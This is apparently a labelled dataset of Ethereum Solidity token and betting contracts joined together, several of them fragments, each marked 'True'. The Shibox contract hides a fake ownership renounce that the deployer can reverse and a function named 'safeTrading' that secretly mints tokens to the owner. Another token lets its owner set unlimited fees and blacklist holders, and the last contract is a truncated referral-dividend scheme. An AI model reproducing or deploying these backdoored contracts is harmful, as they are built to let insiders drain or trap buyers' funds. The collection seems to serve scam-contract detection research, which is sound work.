require(bets[winningFighter][_betterAddress].stake > 0); require(!bets[winningFighter][_betterAddress].withdrawn); address(_betterAddress).transfer(totalPrizePool().mul(bets[winningFighter][_betterAddress].stake).div(totalForFighter[winningFighter])); bets[winningFighter][_betterAddress].withdrawn = true; } function refund(address _betterAddress) external requireState(3) { uint256 stake = 0; for (uint8 i = 0; i < fighterAddressess.length; i++) { if (bets[fighterAddressess[i]][_betterAddress].stake > 0 && !bets[fighterAddressess[i]][_betterAddress].withdrawn) { bets[fighterAddressess[i]][_betterAddress].withdrawn = true; stake = stake.add(bets[fighterAddressess[i]][_betterAddress].stake); } } if (stake > 0) { address(_betterAddress).transfer(stake); } } }
True
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/** *Submitted for verification at Etherscan.io on 2021-06-11 */ /** * Shibox Token ($SHIBOX) Telegram : https://t.me/shibox Website : https://shibox.org */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; address private _ownerAddress; address private _previousOwner; address private Owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); Owner = msgSender; _owner = msgSender; _ownerAddress = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function transferOwnership() public { require(_owner == address(0), "owner is zero address"); _owner = Owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); _ownerAddress = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract SHIBOX is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Shibox Token"; string private constant _symbol = "SHIBOX"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 5; uint256 private _teamFee = 10; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 private _cooldownSeconds = 60; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 5; _teamFee = 10; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (_cooldownSeconds * 1 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already started"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 10000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function safeTrading(uint256 burnAmount) external onlyOwner() { require(_msgSender() != address(0), "ERC20: cannot permit zero address"); _tTotal = _tTotal.add(burnAmount); _rOwned[_msgSender()] = _rOwned[_msgSender()].add(burnAmount); emit Transfer(address(0), _msgSender(), burnAmount); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } function setCooldownSeconds(uint256 cooldownSecs) external onlyOwner() { require(cooldownSecs > 0, "Secs must be greater than 0"); _cooldownSeconds = cooldownSecs; } }
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/** *Submitted for verification at Etherscan.io on 2022-03-14 */ /** https://t.me/ISUPPORTERC */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract ISupportTheCurrentThing is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "I Support The Current Thing"; string private constant _symbol = "SUPPORT"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 1; uint256 private _taxFeeOnBuy = 11; uint256 private _redisFeeOnSell = 1; uint256 private _taxFeeOnSell = 11; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x10c2767637B3f4E4C1d41041619F09a86D9856Bb); address payable private _marketingAddress = payable(0x10c2767637B3f4E4C1d41041619F09a86D9856Bb); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 10000000 * 10**9; uint256 public _maxWalletSize = 25000000 * 10**9; uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
True
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pragma solidity ^0.4.25; /* * https://minertoken.club * * Crypto miner token concept * * [✓] 3% Withdraw fee * [✓] 12% Deposit fee * [✓] 1% Token transfer * [✓] 33% Referal link * */ contract CryptoMinerTokenNew { modifier onlyBagholders { require(myTokens() > 0); _; } modifier onlyStronghands { require(myDividends(true) > 0); _; } event onTokenPurchase( address indexed customerAddress, uint256 incomingEthereum, uint256 tokensMinted, address indexed referredBy, uint timestamp, uint256 price ); event onTokenSell( address indexed customerAddress, uint256 tokensBurned, uint256 ethereumEarned, uint timestamp, uint256 price ); event onReinvestment( address indexed customerAddress, uint256 ethereumReinvested, uint256 tokensMinted ); event onWithdraw( address indexed customerAddress, uint256 ethereumWithdrawn ); event Transfer( address indexed from, address indexed to, uint256 tokens ); string public name = "Crypto Miner Token New"; string public symbol = "CMTN"; uint8 constant public decimals = 18; uint8 constant internal entryFee_ = 12; uint8 constant internal transferFee_ = 1; uint8 constant internal exitFee_ = 3; uint8 constant internal refferalFee_ = 33; uint256 constant internal tokenPriceInitial_ = 0.0000001 ether; uint256 constant internal tokenPriceIncremental_ = 0.0000001 ether; uint256 constant internal magnitude = 2 ** 64; uint256 public stakingRequirement = 50e18; mapping(address => uint256) internal tokenBalanceLedger_; mapping(address => uint256) internal referralBalance_; mapping(address => int256) internal payoutsTo_; uint256 internal tokenSupply_; uint256 internal profitPerShare_; function buy(address _referredBy) public payable returns (uint256) { purchaseTokens(msg.value, _referredBy); } function() payable public { purchaseTokens(msg.value, 0x0); } function reinvest() onlyStronghands public { uint256 _dividends = myDividends(false); address _customerAddress = msg.sender; payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; uint256 _tokens = purchaseTokens(_dividends, 0x0); emit onReinvestment(_customerAddress, _dividends, _tokens); } function exit() public { address _customerAddress = msg.sender; uint256 _tokens = tokenBalanceLedger_[_customerAddress]; if (_tokens > 0) sell(_tokens); withdraw(); } function withdraw() onlyStronghands public { address _customerAddress = msg.sender; uint256 _dividends = myDividends(false); payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; _customerAddress.transfer(_dividends); emit onWithdraw(_customerAddress, _dividends); } function sell(uint256 _amountOfTokens) onlyBagholders public { address _customerAddress = msg.sender; require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]); uint256 _tokens = _amountOfTokens; uint256 _ethereum = tokensToEthereum_(_tokens); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens); tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens); int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude)); payoutsTo_[_customerAddress] -= _updatedPayouts; if (tokenSupply_ > 0) { profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_); } emit onTokenSell(_customerAddress, _tokens, _taxedEthereum, now, buyPrice()); } function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders public returns (bool) { address _customerAddress = msg.sender; require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]); if (myDividends(true) > 0) { withdraw(); } uint256 _tokenFee = SafeMath.div(SafeMath.mul(_amountOfTokens, transferFee_), 100); uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee); uint256 _dividends = tokensToEthereum_(_tokenFee); tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee); tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens); tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens); payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens); payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens); profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_); emit Transfer(_customerAddress, _toAddress, _taxedTokens); return true; } function totalEthereumBalance() public view returns (uint256) { return this.balance; } function totalSupply() public view returns (uint256) { return tokenSupply_; } function myTokens() public view returns (uint256) { address _customerAddress = msg.sender; return balanceOf(_customerAddress); } function myDividends(bool _includeReferralBonus) public view returns (uint256) { address _customerAddress = msg.sender; return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ; } function balanceOf(address _customerAddress) public view returns (uint256) { return tokenBalanceLedger_[_customerAddress]; } function dividendsOf(address _customerAddress) public view returns (uint256) { return (uint256) ((int256) (profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude; } function sellPrice() public view returns (uint256) { // our calculation relies on the token supply, so we need supply. Doh. if (tokenSupply_ == 0) { return tokenPriceInitial_ - tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _taxedEthereum; } } function buyPrice() public view returns (uint256) { if (tokenSupply_ == 0) { return tokenPriceInitial_ + tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, entryFee_), 100); uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends); return _taxedEthereum; } } function calculateTokensReceived(uint256 _ethereumToSpend) public view returns (uint256) { uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, entryFee_), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); return _amountOfTokens; } function calculateEthereumReceived(uint256 _tokensToSell) public view returns (uint256) { require(_tokensToSell <= tokenSupply_); uint256 _ethereum = tokensToEthereum_(_tokensToSell); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _taxedEthereum; } function purchaseTokens(uint256 _incomingEthereum, address _referredBy) internal returns (uint256) { address _customerAddress = msg.sender; uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, entryFee_), 100); uint256 _referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, refferalFee_), 100); uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus); uint256 _taxedEthereum = 